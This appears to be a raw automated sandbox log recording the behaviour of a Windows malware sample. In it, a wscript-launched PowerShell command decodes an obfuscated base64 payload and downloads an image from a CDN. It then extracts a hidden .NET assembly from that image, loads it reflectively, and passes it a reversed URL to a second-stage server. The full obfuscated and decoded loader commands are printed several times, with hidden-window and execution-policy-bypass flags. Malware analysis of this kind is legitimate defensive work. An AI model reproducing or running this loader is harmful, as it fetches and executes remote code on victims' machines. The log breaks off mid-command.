command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x000002ec
1 1 0

ShellExecuteExW

show_type: 0
filepath_r: powershell
parameters: -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
filepath: powershell
1 1 0

CreateProcessInternalW

thread_identifier: 2768
thread_handle: 0x0000044c
process_identifier: 2764
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypss -NoProfile -command "$imageUrl = 'https://cdn.pixelbin.io/v2/flat-wave-f37060/original/bat_native.jpeg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI');$arguments = ,('txt.TOOR/slch/641.342.3.291//:ptth');$method.Invoke($null, $arguments)"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000450
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

flags: 15
family: 0
111 0
Data received 
Data received F
Data sent rndÃãåm_ýéoÙýçQLHGæùŽûƒcÇë‡5/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
Data sent rndÃãßPŸB¯<˜åÎVð­™Ô)q¶ ?´ðæá‚/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

send

buffer: rndÃãåm_ýéoÙýçQLHGæùŽûƒcÇë‡5/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
socket: 1436
sent: 119
1 119 0

send

buffer: rndÃãßPŸB¯<˜åÎVð­™Ô)q¶ ?´ðæá‚/5 ÀÀÀ À 28-ÿcdn.pixelbin.io  
socket: 1436
sent: 119
1 119 0
parent_process wscript.exe martian_process powershell -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂HI⁂b⁂⁂p⁂Ds⁂J⁂Bp⁂G0⁂YQBn⁂GU⁂V⁂Bl⁂Hg⁂d⁂⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂V⁂Bl⁂Hg⁂d⁂⁂u⁂EU⁂bgBj⁂G8⁂Z⁂Bp⁂G4⁂ZwBd⁂Do⁂OgBV⁂FQ⁂Rg⁂4⁂C4⁂RwBl⁂HQ⁂UwB0⁂HI⁂aQBu⁂Gc⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBC⁂Hk⁂d⁂Bl⁂HM⁂KQ⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBT⁂FQ⁂QQBS⁂FQ⁂Pg⁂+⁂Cc⁂Ow⁂k⁂GU⁂bgBk⁂EY⁂b⁂Bh⁂Gc⁂I⁂⁂9⁂C⁂⁂Jw⁂8⁂Dw⁂QgBB⁂FM⁂RQ⁂2⁂DQ⁂XwBF⁂E4⁂R⁂⁂+⁂D4⁂Jw⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂D0⁂I⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBU⁂GU⁂e⁂B0⁂C4⁂SQBu⁂GQ⁂ZQB4⁂E8⁂Zg⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂KQ⁂7⁂CQ⁂ZQBu⁂GQ⁂SQBu⁂GQ⁂ZQB4⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBJ⁂G4⁂Z⁂Bl⁂Hg⁂TwBm⁂Cg⁂J⁂Bl⁂G4⁂Z⁂BG⁂Gw⁂YQBn⁂Ck⁂Ow⁂k⁂HM⁂d⁂Bh⁂HI⁂d⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂ZQ⁂g⁂D⁂⁂I⁂⁂t⁂GE⁂bgBk⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂Gc⁂d⁂⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂7⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂g⁂Cs⁂PQ⁂g⁂CQ⁂cwB0⁂GE⁂cgB0⁂EY⁂b⁂Bh⁂Gc⁂LgBM⁂GU⁂bgBn⁂HQ⁂a⁂⁂7⁂CQ⁂YgBh⁂HM⁂ZQ⁂2⁂DQ⁂T⁂Bl⁂G4⁂ZwB0⁂Gg⁂I⁂⁂9⁂C⁂⁂J⁂Bl⁂G4⁂Z⁂BJ⁂G4⁂Z⁂Bl⁂Hg⁂I⁂⁂t⁂C⁂⁂J⁂Bz⁂HQ⁂YQBy⁂HQ⁂SQBu⁂GQ⁂ZQB4⁂Ds⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂C⁂⁂PQ⁂g⁂CQ⁂aQBt⁂GE⁂ZwBl⁂FQ⁂ZQB4⁂HQ⁂LgBT⁂HU⁂YgBz⁂HQ⁂cgBp⁂G4⁂Zw⁂o⁂CQ⁂cwB0⁂GE⁂cgB0⁂Ek⁂bgBk⁂GU⁂e⁂⁂s⁂C⁂⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BM⁂GU⁂bgBn⁂HQ⁂a⁂⁂p⁂Ds⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂QwBv⁂G4⁂dgBl⁂HI⁂d⁂Bd⁂Do⁂OgBG⁂HI⁂bwBt⁂EI⁂YQBz⁂GU⁂Ng⁂0⁂FM⁂d⁂By⁂Gk⁂bgBn⁂Cg⁂J⁂Bi⁂GE⁂cwBl⁂DY⁂N⁂BD⁂G8⁂bQBt⁂GE⁂bgBk⁂Ck⁂Ow⁂k⁂Gw⁂bwBh⁂GQ⁂ZQBk⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQ⁂g⁂D0⁂I⁂Bb⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂UgBl⁂GY⁂b⁂Bl⁂GM⁂d⁂Bp⁂G8⁂bg⁂u⁂EE⁂cwBz⁂GU⁂bQBi⁂Gw⁂eQBd⁂Do⁂OgBM⁂G8⁂YQBk⁂Cg⁂J⁂Bj⁂G8⁂bQBt⁂GE⁂bgBk⁂EI⁂eQB0⁂GU⁂cw⁂p⁂Ds⁂J⁂B0⁂Hk⁂c⁂Bl⁂C⁂⁂PQ⁂g⁂CQ⁂b⁂Bv⁂GE⁂Z⁂Bl⁂GQ⁂QQBz⁂HM⁂ZQBt⁂GI⁂b⁂B5⁂C4⁂RwBl⁂HQ⁂V⁂B5⁂H⁂⁂ZQ⁂o⁂Cc⁂RgBp⁂GI⁂ZQBy⁂C4⁂S⁂Bv⁂G0⁂ZQ⁂n⁂Ck⁂Ow⁂k⁂G0⁂ZQB0⁂Gg⁂bwBk⁂C⁂⁂PQ⁂g⁂CQ⁂d⁂B5⁂H⁂⁂ZQ⁂u⁂Ec⁂ZQB0⁂E0⁂ZQB0⁂Gg⁂bwBk⁂Cg⁂JwBW⁂EE⁂SQ⁂n⁂Ck⁂Ow⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂C⁂⁂PQ⁂g⁂Cw⁂K⁂⁂n⁂HQ⁂e⁂B0⁂C4⁂V⁂BP⁂E8⁂Ug⁂v⁂HM⁂b⁂Bj⁂Gg⁂Lw⁂2⁂DQ⁂MQ⁂u⁂DM⁂N⁂⁂y⁂C4⁂Mw⁂u⁂DI⁂OQ⁂x⁂C8⁂Lw⁂6⁂H⁂⁂d⁂B0⁂Gg⁂Jw⁂p⁂Ds⁂J⁂Bt⁂GU⁂d⁂Bo⁂G8⁂Z⁂⁂u⁂Ek⁂bgB2⁂G8⁂awBl⁂Cg⁂J⁂Bu⁂HU⁂b⁂Bs⁂Cw⁂I⁂⁂k⁂GE⁂cgBn⁂HU⁂bQBl⁂G4⁂d⁂Bz⁂Ck⁂';$OWjuxd = [system.Text.encoding]::Unicode.GetString( [system.Convert]::Frombase64String( $codigo.replace('⁂','A') ) );powershell.exe -windowstyle hidden -executionpolicy bypss -NoProfile -command $OWjuxD
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⁂Bp⁂G0⁂YQBn⁂GU⁂VQBy⁂Gw⁂I⁂⁂9⁂C⁂⁂JwBo⁂HQ⁂d⁂Bw⁂HM⁂Og⁂v⁂C8⁂YwBk⁂G4⁂LgBw⁂Gk⁂e⁂Bl⁂Gw⁂YgBp⁂G4⁂LgBp⁂G8⁂LwB2⁂DI⁂LwBm⁂Gw⁂YQB0⁂C0⁂dwBh⁂HY⁂ZQ⁂t⁂GY⁂Mw⁂3⁂D⁂⁂Ng⁂w⁂C8⁂bwBy⁂Gk⁂ZwBp⁂G4⁂YQBs⁂C8⁂YgBh⁂HQ⁂XwBu⁂GE⁂d⁂Bp⁂HY⁂ZQ⁂u⁂Go⁂c⁂Bl⁂Gc⁂Jw⁂7⁂CQ⁂dwBl⁂GI⁂QwBs⁂Gk⁂ZQBu⁂HQ⁂I⁂⁂9⁂C⁂⁂TgBl⁂Hc⁂LQBP⁂GI⁂agBl⁂GM⁂d⁂⁂g⁂FM⁂eQBz⁂HQ⁂ZQBt⁂C4⁂TgBl⁂HQ⁂LgBX⁂GU⁂YgBD⁂Gw⁂aQBl⁂G4⁂d⁂⁂7⁂CQ⁂aQBt⁂GE⁂ZwBl⁂EI⁂eQB0⁂GU⁂cw⁂g⁂D0⁂I⁂⁂k⁂Hc⁂ZQBi⁂EM⁂b⁂Bp⁂GU⁂bgB0⁂C4⁂R⁂Bv⁂Hc⁂bgBs⁂G8⁂YQBk⁂EQ⁂YQB0⁂GE⁂K⁂⁂k⁂Gk⁂bQBh⁂Gc⁂ZQBV⁂H